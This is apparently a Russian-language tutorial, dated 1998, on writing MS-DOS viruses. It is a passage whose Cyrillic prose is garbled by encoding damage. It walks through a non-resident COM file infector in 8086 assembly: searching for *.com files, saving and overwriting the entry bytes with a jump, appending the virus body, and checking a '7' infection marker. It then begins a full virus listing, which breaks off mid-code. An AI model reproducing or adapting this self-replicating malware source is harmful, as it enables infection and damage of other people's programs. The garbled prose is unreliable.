                
          -------------------------------------


                       
                    ----------------

                                                  .

     ..................................... 5


     1 . COM -  ....................... 6

        1 .  
                   .............. 6
        1.1  㧪  믮
             COM - ணࠬ ..................... 6
        1.2     ࠧ
             COM - 䠩 .......................... 7
        1.3    
             ࠦ ணࠬ ................ 8
        1.4   稭
             ࠭  .............. 9
        1.5  砫 ࠡ ....................... 10
        1.6   砥 ࠢ ........... 10
        1.7  ⠭ ࠦ
             ணࠬ ........................... 12
        1.8   ᮤন DTA ........... 12
        1.9  饬 室騩 䠩 ................ 13
        1.10 ⠥ 室   ........... 15
        1.11 믮塞 室  ....... 16
        1.12 ஢塞 䠩  ࠦ ...... 18
        1.13 ࠦ COM - ணࠬ ............ 19
        1.14 ⠭ DTA ................. 20
        1.15 । ࠢ
             ࠦ ணࠬ ................ 20
        1.16   ᭮ ணࠬ ... 21
        1.17 蠥 ᪠ ணࠬ ..... 21
        1.18  १⭮ COM -  ... 23
        1.19 ਨ ......................... 29
        1.20 ⠭  .................... 29

        2 .  
                   .............. 30
        2.1  ⨥ १⭮
             ( TSR )  ...................... 30
        2.2  ᪮쪮 ᫮ 
             १ ணࠬ .............. 30
        2.3   ࠡ
             १⭮ COM -  ........... 31
        2.4    .................... 34
        2.5   稭 ࠡ ............... 34
        2.6  ࠭塞 ॣ  ....... 38
        2.7   ᥪ
             樠樨 ....................... 39
        2.8  訢   ............. 41
        2.9    "  " ......... 44
        2.10 砥  뢠 ......... 46
        2.11 㥬     ...... 48
        2.12 ⠭  뢠
               ࠡ稪 ............. 48
        2.13 襬 १  ............. 50
        2.14 ࠦ COM - 䠩 ................. 51
        2.15 ⠭ ॣ ............ 56
        2.16 襬 ࠡ稪 뢠 ........ 57
        2.17 ࠡ稪 Int 13h .................. 58
        2.18 ࠡ稪 Int 21h .................. 60
        2.19 ࠡ稪 Int 24h .................. 62
        2.20 ࠡ稪 Int 2Fh .................. 62
        2.21 ࠡ稪 Int 28h .................. 64
        2.22    ............... 64
        2.23 楤 䨪樨 COMMAND.COM.. 65
        2.24 蠥 ணࠬ ................. 66
        2.25  १⭮ COM -  ..... 67
        2.26 ਨ ......................... 81
        2.27 ⠭  .................... 82


     2 . EXE -  ....................... 82

        1 .  
                 EXE -  .................... 82
        1.1  ଠ EXE - 䠩  ᪥ ......... 82
        1.2  㧪  믮
             EXE - ணࠬ ..................... 84
        1.3     ࠧ
             EXE - 䠩 .......................... 86
        1.4    
             ࠦ ணࠬ ................ 86
        1.5  砫 ࠡ ....................... 88
        1.6   砥 ࠢ ........... 88
        1.7  饬 室騩 䠩 ................ 89
        1.8  ⠥  䠩 .............. 92
        1.9  ந 室
             ᫥ .......................... 93
        1.10 ࠦ EXE - ணࠬ ............ 98
        1.11 ⠭ DTA ................. 99
        1.12 ⠭  室 ......... 100
        1.13    ............... 101
        1.14 ᯮ㥬 楤 .............. 103
        1.15  襭 .................... 104
        1.16  ⥪
             १⭮ EXE -  ......... 104
        1.17 ᪮쪮 ᫮ 
             ⠭  .................... 112

        2 .  
                 EXE -  .................... 113
        2.1   ࠡ १⭮
             EXE -  ........................ 113
        2.2   
             ணࠬ - ⨢ᮢ .............. 115
        2.3   ॠ  
             ᪮  .............. 116
        2.4  㥬 ।  ..... 119
        2.5  襬 ஬ ࠡ稪 ...... 121
        2.6    㦥   䠩. 122
        2.7  ᪮쪮 ᫮  ।
             ⢨ ᭮ ணࠬ......... 122
        2.8   ⥪ १⭮
             EXE -  ........................ 123


     3 .   ................. 143

        1 .  
                   .............. 143
        1.1  ⪨ ᢥ  砫쭮
             㧪 ᮭ쭮  ... 143
        1.2  ⨥  㧮  ....... 144
        1.3   ࠡ 㧮筮
              .............................. 145
        1.4   稭 ࠭
              .............................. 147
        1.5  砫 ࠡ ....................... 147
        1.6   砥 ࠢ ........... 148
        1.7    ⨢ ணࠬ ..... 150
        1.8  墠뢠 Int 13h ............... 152
        1.9  ⠥ 室 BOOT -  ....... 153
        1.10 ࠦ MBR  ............. 154
        1.11 襬 ࠡ稪 뢠 Int 13h . 156
        1.12 ᯮ㥬 楤 .............. 161
        1.13    ............... 162
        1.14 襬 ᥪ ⠫樨 ............ 163
        1.15  㧮筮  ........... 166
        1.16 ਨ ......................... 176
        1.17 ⠭  .................... 177


     ................................... 177

     1
    ⪨ ࠢ筨  㭪
    MS DOS  BIOS ................................ 178

     2
    ଠ 㧮筮   MS DOS
    ࠧ ᨩ ............................. 186

     3
        
    MS DOS  BIOS ................................ 192

     ................................... 194


                        

         ६  ᢮ 
    ࠭  १砩 ப .   㦥
    㤭  祫,   ࠧ  蠫
      " ⢠ " .   ⥬  饥
    設⢮ 짮⥫  祣    
    ⮬,    ⠪,   ᪫  ਯ뢠 -
    ᠬ ࠧ 䠭᪨ ,   ⠪
    ᨫ쭮 㢥稢  ᭮., ⥬
    뢠  ᮩ ⠨⢥ . -
     ,   ࠧ,  -   -
     ⢨ ᯥ樠쭮    
     ( 稭 ⮣  ⭠ ).  -
    饩   ப 㣠 ⥫ -
        訡   ࠢ
    ᢥ .ਬ,   祭 ࠭
     ⠥   ᪠,      
    "릨"    ᫥ 몫祭  -
    ⠭ !⭮,   ,  -
      भ .   ⮬,     -
    祭 ⠭ ᮤন ⨢   -
    ,     -  ,   
    CMOS -  ᢮   ࠭ -
         墠 .  "릨"
      ࠧ    ⪮ ᪥,   ⮩
    ᯮᮡ    ணࠬ .
    ,  । 襬 , -
    ᠭ   ᯮ짮 ᮡ⢥ ࠧࠡ⮪, -
       ᯥਬ⮢   .  -
    ⠭  짮⥫,   몮 ᥬ-
     ய஢ ᥬ⢠ 8086  INTEL.
      ᪠뢠    ਭ樯  ࠡ  -
      ᮢ  ஡ 뢠   ᮧ-
     १, १  㧮 -
    ᮢ. ࠡ⪠  ணࠬ    ⮣ 
    ᫮. ।騥  ணࠬ ⠭ ᭮
      ࠧࠡ⪨  ᫥ . ⥫    
     讥 ⢮   ப஢-
      室 ⥪⮢ . 䠧  ᮧ -
    ᮢ ஡  . 饬,⠩  ᮢ-
    襭 !ࠢ  ணࠬ,ਢ-
    묨  , ᬮ ᮧ  ᮡ⢥ -
    ,    -  ᢮  ᨮ
    ஢ .஬ ⮣, ⮩稢  ,   "-
      ⮫쪮 ,   " 饭 "
      ᥣ .
     !
    18.08.1998
     .


                   1 . COM - 


            1 .  
                     

    *   ᠭ " ⨢" [ 3 ]    -
      ⥭  ਣ쭮. ।   
      ..猪 ணࠬ ⢥  ࠡ⠭,
      ࠢ  祭  訡   .  
       1  ᬠਢ  "-" ࠧ-
      ⪨ ⮢. 猪.


        1.1  㧪  믮 COM - ணࠬ

     ⮣,  ⮡ 쭥襥  ⠫  
    , ᫥   ᪠   ⢨
    MS DOS   ᪥ ணࠬ ⨯ COM.
     ᪠ ணࠬ  ⥬ MS DOS ᯮ
    ᯥ樠쭠 㭪  EXEC . ⢨ ⮩  㭪樨
     ᪥ COM - ணࠬ 룫 ⠪ :

    1. ᪠  ணࠬ  ⢮    ᢮-
        ⨢  .⭠
     砫쭮  ⮩  筮 뢠-
     砫 ᥣ⮬ ணࠬ.

    2.  㫥  ᬥ饭   ᥣ, ।塞
    砫 ᥣ⮬ ணࠬ,  EXEC ந ᯥ-
      㦥  - ⠪  뢠  PSP
    ( Program Segment Prefix ),   ஬  ᮤন
    ଠ,室  ࠢ쭮 ࠡ ண-
    ࠬ .  PSP 樮 ⥬ (  ),
      ࠧ ᥣ ࠢ 100h ( 256 )  .

    3. ࠧ ᫥  PSP 㦠 ᠬ COM - ண-
    ࠬ .

    4. EXEC  믮 ன ॣ஢ .
     ⮬ ⠭ ⠪ 祭 :CS = DS =
    = SS = ES 㪠뢠  砫  ᥣ  ண-
    ,  ॣ IP 樠 ᫮  100h,  
    ॣ SP - ᫮ 0fffeh .

    5.  㦥 COM - ணࠬ  ᯮ-
     .  ⮣ EXEC । ࠢ  -
     CS : 100h.᫥ 襭 ணࠬ ࠢ
    । ⭮   EXEC,   㤠 ணࠬ  -
    । .

     ࠧ,  CS : 100h 易⥫쭮 -
      ࢠ ᯮ塞  .  ᥣ
      室,   ⨬ ᯮ짮 
    㣨 . ⠪ ,   MS DOS ࠧ-
     COM - 䠩   ॢ 64 .  -
     ,  COM - ଠ ।  ࠧ-
     ணࠬ ,   ⥪   ᥣ-
     ⨢  .   ࠧ  ᥣ 
    ࠧ  ࠭祭 64 ⠬ .


         1.2    ࠧ COM - 䠩

     ࠦ  ᮥ ᮬ ᢮-
       䠩 . ⮬   ⠪  -
    ஢  ࠦ 䠩, ⮡  ࠢ-
       ᪥ .
     ᪮쪮 ⮤ ࠦ  COM - -
    ࠬ.   뢠  , -
    砫    । 䠩.   ᯮ-
      ᢮ ⮨⢠  ⪨.  -
    ᬮਬ  ᭮    䠩 .
    ਥ ᯮ  饬 設⢥ -
    ᮢ,  ᯥ稢 訥 १  ࠢ-
    ⥫쭮 ⮩ ॠ樨 .
    ⠪,  뢠 ᢮    䠩 .
    ⮣,⮡     稫  ࠢ
     砫 믮,   ६ ࠦ ணࠬ
    ᪮쪮   .
      ⮩ 楫  ᯮ  塠⮢  
    אַ   室 .  뢠  
         ࠦ 䠩,
      室      ࠭  ᢮ 
     .  ᪥  ࠦ   ணࠬ
      ᥣ 㤥 믮  .


         1.3    ࠦ ணࠬ

    稢  ࠢ    ࠦ ண-
    ,   믮 ᫥騥 ⢨ :

    1. ⠭       室
      a ⮩ ணࠬ .

    2.   ᪥ 室騩 COM - 䠩 .

    3. 뢠 ᢮ ⥫   ⮣ 䠩 .

    4.      ࠦ ணࠬ
     室  ᢮ ,  ࠭ ।-
    ⥫쭮 室     ᢮  .

    5. 믮 । ⢨, ।ᬮ७ -
    ஬ .

    6. । ࠢ ࠦ  ணࠬ . -
    ᪮  COM - 䠩  窠  室  ᥣ  ࠢ
    CS : 100h,   믮 ᫮ ⮢,  
     믮 室    .

    ᫨  室  ࠦ COM - 䠩 -
      뫮,    ⢫ 室
     砫  ࠦ  ணࠬ,   ன  
    ⮢ .
    ᫥  ⮣ ࠦ  ணࠬ 믮,
    筮 .
       믮  祭     
    짮⥫    ⠥ .
    ⮨ ,  .5    믮-
     . ,     
    ᥡ,  ஬ ࠧ ( ਬ, VIENNA 534 ).
      ⥬   ⠪,  ᯮᮡ -
     । । 䠩  .ਬ,-
     ANTI_EXE  蠥  ଠ쭮  ࠡ   EXE -
    䠩, DARK AVENGER 뢠 ᫥ -
    ଠ  砩 ᥪ ᪠,  ONEHALF -
     ᥪ     㣨 . -
      ⥫쭮  .


        1.4  稭 ࠭ 

    祢, ⮡   ࠭,   㦭
       ᫨⥫  ⥬ .  
    ⠪ :

    1.  ࠧࠡ뢠  ணࠬ . 筮
      ⮩ 楫 ᯮ   ᥬ,  ⠪
     ணࠬ, ᠭ  ,믮 祭
        ࠧ .  , -
    ᠭ  몥 TURBO C    TURBO PASCAL .

    2. 室 ⥪  ணࠬ ,    
     ᮧ ᯮ塞 䠩 (筮 ⨯ COM).
     䠩 ।祭  ⮣, ⮡ " 
      ᢮ " . ணࠬ,ᠭ 
    ⮬ 䠩, ᪠饩 .

    3. ᪠ ணࠬ 믮  設,-
     室 ࠧ .

    4. 饭  ᢮  믮 ⢨,
    ᠭ  1.3 .稥 砥 ⮫쪮  -
     .1 .   -  ⠭  -
      室   ⮢ ணࠬ    
    뢠  室, । ࠢ-
       襭 ᪠饩  ணࠬ. 
    ࠧ,  믮 .6  ࠢ 㤥  -
      樮 ⥬,   ᪥  ࠧ
    ࠦ  䠩.  ஢  ⮣ 䠩  
    㣨     ᪥   筥 -
    ࠭ .

    ⠪,  ⮢ COM -  ...


                    1.5 砫 ࠡ

     ࠧࠡ⪨   ᥣ ᯮ짮 COM
    ଠ. ᤥ  ⫠  ⮩  -
    來 .஬ ⮣,  COM - ணࠬ -
       ⭥, 祬  ணࠬ  
    ଠ EXE.⮬ 襬 ⠭⭮ 砫 COM
    ணࠬ :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    ४⨢ "assume cs:prg,ds:prg,es:prg,ss:prg" -
    砥  ᥣ ॣ  ᥣ  
     PRG, ४⨢ "org 100h" 㦭  १-
    ஢   PSP .


              1.6  砥 ࠢ

    ᫥  ⮣ 㯫  稭 ᮡ⢥ -
    塞  ணࠬ ( ⪠ START ) :

    start:     jmp vir                ;। ࠢ-
                                      ; ᭮
                                      ; ...
	       org 110h

     "jmp vir"  ।  ࠢ  ᭮
    ,   ४⨢ "org 110h" 㪠뢠 -
     ࠧ    ᫥ ⪨ "vir",稭 
      110h .᫮ 110h ਭ  㤮⢠ -
     ᬥ饭  ࠧࠡ⪥  .  
    ࠧ६,  祬   "jmp vir",
      த :

    vir:       push ds                ;࠭ DS ...
                                      ;४㥬
               mov ax,ds              ;ॣ DS  ...
               db 05h                 ; 
    add_to_ds: dw 0                   ; " ADD AX,00h "
	       mov ds,ax              ;AX -> DS    ...

    ᪮  ࠦ  ணࠬ    
     㤥 ᤢ       ⮩ -
    ࠬ,室 믮 ४ ॣ DS.
    ४ ⢫ ਡ   ᮤ-
      ணࠬ  ࠣ,㣫  
     ஭ .ਬ,  ணࠬ ⠢-
     401  .     ᮤন 25  -
    ࠣ䮢   1 .㣫 ᫮ ࠣ䮢
    㤥 ࠢ 26 . 稭   ਡ  -
     DS .  ࠦ  뢠  -
    ४饥 ᫮  뢠    "add_
    to_ds" . 直 ࠧ   ᪥  ࠦ
    ணࠬ  㤥 ᯮ짮 ᮬ  -
    ࠢ DS .  ᪠饩 ணࠬ DS  ४-
    ஢  㦭,   ⮬    "add_to_ds"
    ࠢ  .


         1.7 ⠭ ࠦ ணࠬ

     뫮 㪠  1.3 ( .1 ),    -
     ᪠ ࠦ ணࠬ ⠭  -
       室  a (   -
    ,  ⮫쪮   ! ) .   ࠭ -
    室     "old_bytes".
    ⠪ :

    fresh_bytes:
	       mov al,old_bytes
	       mov cs:[100h],al
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al

     筮 ,  COM - ணࠬ   -
    㧪   CS : 100h ᥣ 室 ࢠ
    ᯮ塞   . ⠫쭮 ࠡ ࠣ
    ᭠ .


              1.8  ᮤন DTA

    Data Transfer Arrea ( DTA )    -
      MS DOS .    室  
    PSP  ᬥ饭 80h,   ⨢ ᯮ  -
      ࠡ  䠩 .ਬ, 㭪-
    樨 MS DOS    DTA  ⥭   -
    䨪樨  ᮤন.᪮  DOS  ந  PSP
       ᪠ ணࠬ,  
      ᮧ  ᢮ DTA .
        㤥 ᯮ짮  ࠦ
     ᪥ 䠩 㭪樨 DOS,ᮤন DTA ࠦ-
     ணࠬ 㤥 ᯮ祭,  , ᪮॥ -
    ,  㤥 ଠ쭮 ࠡ.⮬ ᮤন
    DTA 室  ࠭.  ⮩  楫  뤥
    ᨢ  128    "old_dta":

	       mov cx,80h             ; DTA -
                                      ;128  ...
	       mov bx,80h             ;饭  DTA
	       lea si,old_dta         ; ᨢ
    save_dta:
	       mov al,byte ptr cs:[bx];⠥  DTA
                                      ;   ७-
	       mov ds:[si],al         ;ᨬ   -
                                      ;ᨢ ...
	       inc bx                 ;  
	       inc si                 ;
	       loop save_dta          ; 128 ࠧ

     ࠣ ᭥  ॡ ...


                1.9 饬 室騩 䠩

     ᠬ ६  ᪮ 䠩   -
    ࠦ. ᪠ 䠩 -   㤥 ᯮ-
      㭪権 DOS : 4Eh (  ࢮ 䠩-
     )  4Fh (  ᫥饣 䠩 ) .  맮
    4Eh  ॣ CX  ਡ ᪮ 䠩-
    ,    DX -    ७ . ⠭
     ᪠ ।  COM-䠩,  ਡ-
    ⠬ "archive","system"  "hidden".㭪 4Fh -
     㦥 ᫥ ⮣,  㭪  4Eh  諠
     䠩, 㤮⢮騩 訬 ॡ.-
     㤥 뢠   ⮬ 砥, ᫨ 
    䠩   室 (ਬ,  ᫨誮 ).
       䠩 ᠭ  㭪樨 -
       DTA  ᬥ饭 01eh .
      ⥯ ਢ  ணࠬ ࠣ,   믮-
    騩  䠩 :

    find_first:
	       mov ah,4eh             ; ࢮ
                                      ;䠩 ...
	       mov cx,00100110b       ;archive, system
                                      ;hidden
	       lea dx,maska           ;᪠  -
                                      ;
	       int 21h
	       jnc r_3                ;諨 !
	       jmp restore_dta        ;訡 !

    find_next: mov ah,3eh             ;஥  -
	       int 21h                ;室騩 䠩...
	       jnc r_2
	       jmp restore_dta        ;  -
                                      ; !

    r_2:       mov ah,4fh             ;  ᫥-
	       int 21h                ;騩 ...
	       jnc r_3                ;  !
	       jmp restore_dta        ;訡 !

    r_3:       mov cx,12              ;६  
	       lea si,fn              ;"fn"   ।-
    destroy_name:                     ;饣 䠩
	       mov byte ptr [si],0    ;
	       inc si                 ;
	       loop destroy_name      ; 12 ࠧ ...

               xor si,si              ; 襬  -
    copy_name: mov al,byte ptr cs:[si+9eh]
                                      ;  ⮫쪮
	       cmp al,0               ; 
                                      ;䠩 ...
	       je open                ;   
	       mov byte ptr ds:fn[si],al
                                      ;DTA ᥣ -
               inc si                 ; ,  
	       jmp copy_name          ; ⨬ 

     䠩   " fn "  室   
    祬 .ਬ,     䠩 COMMAND.
    COM,      襫 .  -
    ⠥  ᫥騩 䠩.  㤥 WIN.
    COM .     " fn ",  -
      : WINMAND.COM.  䠩  ᪥, ᪮-
    ॥ ᥣ,;᫨  ஡   -
    , 맮 訡,   ࠡ.-
     ⮣  砫,  " fn " ᫥ -
     䠩 頥.  訡   믮 -
    ⥬  㭪権  ࠢ  ।    
    " restore_dta " . ⥬   ⠭ DTA
    ࠦ ணࠬ  ⢫ 室   
    砫 .


              1.10 ⠥ 室  

    ⠪, 襫  COM - ணࠬ,   ⥯
    ᫥ ࠧ . ᭠砫 室  ࠭
       ⮩ ணࠬ ( . 1.3,  .4 ).
     ⮣ 䠩 㦭 ᭠砫 ,  ⥬ -
        ,   ॠ  ਢ-
       ணࠬ ப . , 
    䠩 ࠭  ப " fn " .

    open:      mov ax,3d02h           ; 䠩
                                      ; ⥭ 
                                      ; ...
	       lea dx,fn              ; 䠩 ...
	       int 21h                ;
	       jnc save_bytes
	       jmp restore_dta        ;  -
                                      ; !

    save_bytes:                       ;⠥ 
                                      ; :
	       mov bx,ax              ;࠭ -
                                      ;ਯ  BX
	       mov ah,3fh             ; 㭪樨
	       mov cx,3               ;쪮  ?
	       lea dx,old_bytes       ;  -
                                      ;뢠 
	       int 21h
	       jnc found_size
	       jmp close              ;訡 !

    ਢ ࠣ 頥  ⠭  -
        " old_bytes " . ⠫쭮 ᭮ 
    ਥ .


            1.11 믮塞 室 

     ⮬ 㭪   ,   ஢ -
     ४饣 ᫠   ॣ  DS (  .
    1.4 ),  ⠪  ᬥ饭  ᢮  .,
     ᬥ饭  뢠    砫  ࠦ
    䠩      . 室  稭
      㦨  ࠦ 䠩,
    DOS     䠩   冷 -
      ࠪ⨪ 頥  DTA . -
    뢠  DTA  ᬥ饭 01Ah  ( 襥 ᫮ )
    1Ch ( 襥 ) .    COM - 䠩  -
         65535  ,    頥  
    襥 ᫮ 楫. ᫮  ᬥ饭 01Ch -
     !
    㪠    ந  ᫥騬
    ࠧ :

    found_size:
	       mov ax,cs:[09ah]       ; ࠧ
                                      ;䠩
    count_size:mov si,ax
	       cmp ax,64000           ; 
                                      ;64000  ?
	       jna toto               ; ...
	       jmp find_next          ; - ⮣ 
                                      ;  室
    toto:      test ax,000fh          ;㣫 ࠧ
	       jz krat_16             ; 楫 ᫠
	       or ax,000fh            ;ࠣ䮢    
	       inc ax                 ; ஭
    krat_16:   mov di,ax              ;  襬  -
                                      ;㣫  -
                                      ;祭  DI ...
                                      ;⠥  ᬥ-
                                      ;饭  -
                                      ;室   -
                                      ; ...
	       sub ax,3               ;    
                                      ;室  -
                                      ;  !
	       mov byte ptr new_bytes[1],al
                                      ;饭 -
	       mov byte ptr new_bytes[2],ah
                                      ; !
	       mov ax,di              ;쪮   -
	       mov cl,4               ;䮢 ᮤন
	       shr ax,cl              ;ࠦ -
	                              ;ࠬ ?
               dec ax                 ;뢠 -
                                      ;⢨ ४⨢
                                      ;ORG 110h ...
	       mov byte ptr add_to_ds,al
                                      ;४饥
	       mov byte ptr add_to_ds+1,ah
                                      ;᫮  !

     㦥, 筮, 﫨,  㤥  㣫
    ࠧ ࠦ ணࠬ  楫 ᫠ ࠣ-
    䮢   ஭ .ਬ, 䠩 
     401  .     DI 祭
    416 ( 25  楫  ࠣ䮢,      
    㣫 祭 416 ). " new_bytes " -
     ᫮ : 416 - 3 = 413,   " add_to_ds " 㤥
    饭 祭 : 26 - 1 = 25 .
    ⮡   ࠡ ࠣ,४ 
    ᬮ  㭪   1.6 .    - 㬠,  -
    祬 㦭  " dec ax " .,  㤠
     ⮬ ࠧ !


           1.12 ஢塞 䠩  ࠦ

    , ,  ᫨誮 㢫 ࠡ⮩   -
    ⨫  祭  ⠫.  -
    ,    䠩 㦥 ࠦ ।-
     ᮬ,    ⮬    뢠  !
    ⮬   ࠧ  ணࠬ  ࠧ .
    ਭ樯,⢮ ࠦ 祬  ࠭祭.
    ணࠬ 㤥 ,    ⨣  ࠧ
     65535 ,   ᫥ ⮣  ⠭ ࠡ-
    .⮡ ⠪  ந諮,  ஢ 
    ࠦ .ਬ,    ࠦ-
     䠩 㤥  뢠   " 7 ",   -
    ࠦ ஢  稥 .
    ⠪ :

	       mov ax,4200h           ;⠭ 㪠-
	       xor cx,cx              ;⥫  -
	       dec si                 ; 
	       mov dx,si              ;䠩 ...
	       int 21h
	       jnc read_last
	       jmp close              ;訡 !

    read_last:                        ; ⠥ 
	       mov ah,3fh             ;  祩
               mov cx,1               ; " last " ...
	       lea dx,last
	       int 21h
	       jc close               ;訡 !

	       cmp last,'7'           ;" last " =" 7 "
	       jne write_vir          ; - 
	       jmp find_next          ;- 饬 -
                                      ; 䠩 ...

    , 筮,஢  ᮢ襭 ஢
    ࠦ,襩  楫 뫮  ,
      䠩  ୮  ࠦ .-
    ⥫   ᠬ    室 -
      ᮧ ணࠬ .


              1.13 ࠦ COM - ணࠬ

    , 室騩  ࠦ COM - 䠩  -
     .    ࠦ 訬 ᮬ   -
     ࠧ . ⮬ ᠬ ६   -
    ࠦ .  ᠭ    1.3 ( .  .3 
    .4 ) .  ⮫쪮  ॠ㥬 :

    write_vir: mov ax,4200h           ;⠭  㪠-
	       xor cx,cx              ;⥫  
	       mov dx,di              ;䠩 ...
	       int 21h
	       jc close               ; 訡 -
	                              ;஥ 䠩
               mov ah,40h             ;襬   䠩
               mov cx,vir_len         ;  -
               lea dx,vir             ; vir_len
               int 21h
               jc close	              ; 訡 -
	                              ;஥ 䠩
    write_bytes:
	       mov ax,4200h           ;⠭  㪠-
	       xor cx,cx              ;⥫  -
	       xor dx,dx              ; 䠩
	       int 21h
               jc close               ; 訡 -
	                              ;஥ 䠩

               mov ah,40h             ;襬   䠩
               mov cx,3               ;  -
               lea dx,new_bytes       ; ( 
               int 21h                ;室 ) ...

    close:     mov ah,3eh             ;஥   -
               int 21h	              ; 䠩 ...

           䠩 頥 -
     室   .  ⠫쭮  
      ਢ ਥ .


                 1.14 ⠭ DTA

     ४⭮ ࠡ ࠦ ணࠬ -
        DTA .,  "  "  
    ᨢ " old_dta ".
    ⮬ :

    restore_dta:
	       mov cx,80h             ; DTA -
                                      ;128  ...
	       mov bx,80h             ;饭  DTA
	       lea si,old_dta         ; ᨢ
    dta_fresh:
	       mov al,ds:[si]         ;⠥   -
                                      ;ᨢ "old_dta"
	       mov byte ptr cs:[bx],al;   ७-
                                      ;ᨬ   DTA
	       inc bx                 ;  
	       inc si                 ;
	       loop dta_fresh         ; 128 ࠧ


       1.15 । ࠢ ࠦ ணࠬ

      祭 .      ⤠
    ࠢ ணࠬ - ⥫.   ᭨,
     ⮩ 楫 筮 믮 室   -
     CS : 100h  . ⮬ ᥬ  ⥪ ᮤন
    CS, ⥬ - ᫮ 100h. ᫥ ⮣ 믮 -
     RET FAR .  ᭨   設 ⥪  -
    ᠭ 㤠 祭  । ࠢ   -
    ।塞   :

	       pop ds                 ;⠭
                                      ;ᯮ祭 DS
	       push cs                ;ᥬ  ⥪
                                      ;ॣ CS
	       db 0b8h                ; 
    jump:      dw 100h                ;mov ax,100h
	       push ax                ;ᥬ  ⥪
                                      ;᫮ 100h
	       retf                   ;। ࠢ-
                                      ;  -
                                      ;  ...


          1.16   ᭮ ணࠬ

    ⠫ ६ ਢ , 묨  
      .   :

    old_bytes db   0e9h               ;室 
                                      ;  ࠦ-
              dw   vir_len + 0dh      ; ணࠬ
    old_dta   db   128 dup (0)        ; 
                                      ;࠭ 室
                                      ;DTA ணࠬ
    maska     db   '*.com',0          ;᪠  -
                                      ; 䠩 ...
    fn        db   12 dup (' '),0     ; 頥
                                      ; 䠩 --
                                      ; ...
    new_bytes db   0e9h               ;  -
              db   00h	              ;  
              db   00h		      ;䠩 ...

    last      db   0                  ;祩  -
                                      ; 
              db   '7'                ;᫥ 
                                      ;  䠩

     ,   ⠪    !


           1.17 蠥 ᪠ ணࠬ

     襭 ᪠饩  ணࠬ   -
    㥬  ⠭ 㭪 DOS,   - 4Ch :

    vir_len   equ   $-vir             ; ᭮
                                      ; ...

    prg_end:   mov ah,4ch             ;襭  -
               INT 21H                ;᪠饩 ண-
                                      ;ࠬ ...

              db '7'                  ; ⮣  ᨬ-
                                      ;   -
                                      ;ࠧ  ᠬ
                                      ;ᥡ ...

    prg ends                          ; ASM - ண-
    end start                         ;ࠬ  -
                                      ; ਬ୮
                                      ;⠪ .

    , ୮, ⨫,  ᪠饩 ணࠬ
     ⠭      CS :
    100h 뢠  室   " prg_
    end ".᫥ । ࠢ    
    ⤠ ࠢ  MS DOS . ᫨   ᠬ 砫
    襣   뫮  "jmp vir" (.1.6),
         CS : 100h  室   
    " prg_end " ࠧ訫  

               push ax
               mov ax,ds

    ( .1.6 ). १  ࠦ 䠩  
        ᯮ祭묨 묨 ⠬ . 
    猪 ਢ     ࠡᯮᮡ
    䠩 -  . 襬  砥 㤥  ࠧ襭
       " jmp vir " .᪮  䠩  
    뢠,     .


          1.18  १⭮ COM - 

     ,   ᠭ,     ਢ  
    ⥪.⨬  ᥩ   :

    ; ________________________________________________
    ;|                                                |
    ;| Non - TSR COM virus                            |
    ;| Especially for my readers !                    |
    ;|________________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    start:     jmp vir                ;। ࠢ-
                                      ; ᭮
                                      ; ...
	       org 110h

    vir:       push ds                ;࠭ DS ...
                                      ;४㥬
               mov ax,ds              ;ॣ DS  ...
               db 05h                 ; 
    add_to_ds: dw 0                   ; " ADD AX,00h "
	       mov ds,ax              ;AX -> DS    ...

    fresh_bytes:
	       mov al,old_bytes
	       mov cs:[100h],al
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al

	       mov cx,80h             ; DTA -
                                      ;128  ...
	       mov bx,80h             ;饭  DTA
	       lea si,old_dta         ; ᨢ
    save_dta:
	       mov al,byte ptr cs:[bx];⠥  DTA
                                      ;   ७-
	       mov ds:[si],al         ;ᨬ   -
                                      ;ᨢ ...
	       inc bx                 ;  
	       inc si                 ;
	       loop save_dta          ; 128 ࠧ

    find_first:
	       mov ah,4eh             ; ࢮ
                                      ;䠩 ...
	       mov cx,00100110b       ;archive, system
                                      ;hidden
	       lea dx,maska           ;᪠  -
                                      ;
	       int 21h
	       jnc r_3                ;諨 !
	       jmp restore_dta        ;訡 !

    find_next: mov ah,3eh             ;஥  -
	       int 21h                ;室騩 䠩...
	       jnc r_2
	       jmp restore_dta        ;  -
                                      ; !

    r_2:       mov ah,4fh             ;  ᫥-
	       int 21h                ;騩 ...
	       jnc r_3                ;  !
	       jmp restore_dta        ;訡 !

    r_3:       mov cx,12              ;६  
	       lea si,fn              ;"fn"   ।-
    destroy_name:                     ;饣 䠩
	       mov byte ptr [si],0    ;
	       inc si                 ;
	       loop destroy_name      ; 12 ࠧ ...

 	       xor si,si	      ; 襬  -
    copy_name: mov al,byte ptr cs:[si+9eh]
                                      ;  ⮫쪮
	       cmp al,0               ; 
                                      ;䠩 ...
	       je open                ;   
	       mov byte ptr ds:fn[si],al
                                      ;DTA ᥣ -
               inc si                 ; ,  
	       jmp copy_name          ; ⨬ 

    open:      mov ax,3d02h           ; 䠩
                                      ; ⥭ 
                                      ; ...
	       lea dx,fn              ; 䠩 ...
	       int 21h                ;㭪 DOS
	       jnc save_bytes
	       jmp restore_dta        ;  -
                                      ; !

    save_bytes:                       ;⠥ 
                                      ; :
	       mov bx,ax              ;࠭ -
                                      ;ਯ  BX
	       mov ah,3fh             ; 㭪樨
	       mov cx,3               ;쪮  ?
	       lea dx,old_bytes       ;  -
                                      ;뢠 
	       int 21h
               jnc found_size
	       jmp close              ;訡 !

    found_size:
	       mov ax,cs:[09ah]       ; ࠧ
                                      ;䠩
    count_size:mov si,ax
	       cmp ax,64000           ; 
                                      ;64000  ?
	       jna toto               ; ...
	       jmp find_next          ; - ⮣ 
                                      ;  室
    toto:      test ax,000fh          ;㣫 ࠧ
	       jz krat_16             ; 楫 ᫠
	       or ax,000fh            ;ࠣ䮢    
	       inc ax                 ; ஭
    krat_16:   mov di,ax              ;  襬  -
                                      ;㣫  -
                                      ;祭  DI ...
                                      ;⠥  ᬥ-
                                      ;饭  -
                                      ;室   -
                                      ; ...
	       sub ax,3               ;    
                                      ;室  -
                                      ;  !
	       mov byte ptr new_bytes[1],al
                                      ;饭 -
	       mov byte ptr new_bytes[2],ah
                                      ; !
	       mov ax,di              ;쪮   -
	       mov cl,4               ;䮢 ᮤন
	       shr ax,cl              ;ࠦ -
	                              ;ࠬ ?
               dec ax                 ;뢠 -
